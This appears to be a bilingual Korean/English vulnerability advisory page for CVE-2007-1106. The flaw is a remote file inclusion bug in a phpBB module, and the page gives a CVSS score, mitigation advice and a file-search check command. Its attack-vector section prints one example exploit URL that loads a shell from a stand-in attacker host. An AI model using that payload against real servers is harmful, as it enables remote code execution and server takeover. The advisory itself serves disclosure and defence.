🔍 CVE-2007-1106

6.8
CVSS Score
MEDIUM
2007-02-26
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

phpBB의 NoMoKeTos Rules 0.0.1 모듈에서 includes/functions_nomoketos_rules.php 파일의 phpbb_root_path 매개변수를 통해 원격 파일을 포함(RFI) 할 수 있는 취약점입니다. 공격자는 이를 악용하여 임의의 PHP 코드를 원격에서 실행할 수 있으며, 웹 서버의 권한으로 시스템 침해가 가능합니다.

💡 쉬운 설명

phpBB 게시판의 특정 확장 모듈이 외부 웹사이트의 악성 파일을 읽고 실행하도록 속일 수 있는 버그입니다. 공격자가 조작된 링크를 보내면 웹 서버를 완전히 장악할 수 있습니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in includes/functions_nomoketos_rules.php in the NoMoKeTos Rules 0.0.1 module for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.

📍 영향받는 시스템

phpBB with NoMoKeTos Rules module version 0.0.1

⚔️ 공격 벡터

HTTP GET/POST request with malicious URL in phpbb_root_path parameter (e.g., http://target/phpbb/includes/functions_nomoketos_rules.php?phpbb_root_path=http://attacker.com/shell.php)

🛡️ 대응 방법

Disable/remove NoMoKeTos Rules module immediately; upgrade phpBB; disable allow_url_include in php.ini (set allow_url_include=Off)

🔧 검증 코드

If file is found, the vulnerable module exists on the system; if empty result, module is not installed or already removed

Shell / Script 
find / -path '*/phpBB*' -name 'functions_nomoketos_rules.php' 2>/dev/null | head -10

📊 CVSS Vector String

CVSS Vector 
AV:N/AC:M/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP